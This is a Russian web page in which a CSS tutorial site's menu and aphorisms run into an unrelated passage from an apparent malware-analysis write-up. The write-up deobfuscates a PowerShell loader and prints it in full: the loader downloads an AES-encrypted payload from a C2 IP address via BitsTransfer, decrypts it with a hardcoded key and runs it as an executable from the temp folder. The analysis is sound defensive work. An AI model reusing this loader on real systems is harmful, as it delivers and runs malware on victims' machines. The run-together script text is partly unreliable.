Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Set-Variable -Namel60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))Set-Variable -NameBI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'$PTF = "$env:temp94974f08-5853-41ab-938a-ae1bd86d8e51"Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $pathInvoke-WebRequest -Uri $Url -OutFile $PTF$Fs =New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))$MS =New-Object -TypeName 'System.IO.MemoryStream'$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()$aes.KeySize = 128
$KEY = [byte[]](0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)$iv = [byte[]](0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)$aes.Key = $KEY$aes.IV = $iv$cs =New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))$fs.CopyTo($cs)$decD = $MS.ToArray()$CS.Write($decD, 0, $decD.Length)$decD| Out-File -Path "$env:temptmp7102591.exe" -EncodingByte
&"$env:temptmp7102591.exe"
Становится понятнее. Если коротко: PowerShell здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) данные с C2-сервера загружаются на скомпрометированный хост, после чего загруженные данные расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.
Расшифрованные байты записываются в исполняемый файл $env:temptmp7102591.exe
, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.
Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).
Из значения переменной $Url
в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51
.
Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.
|
|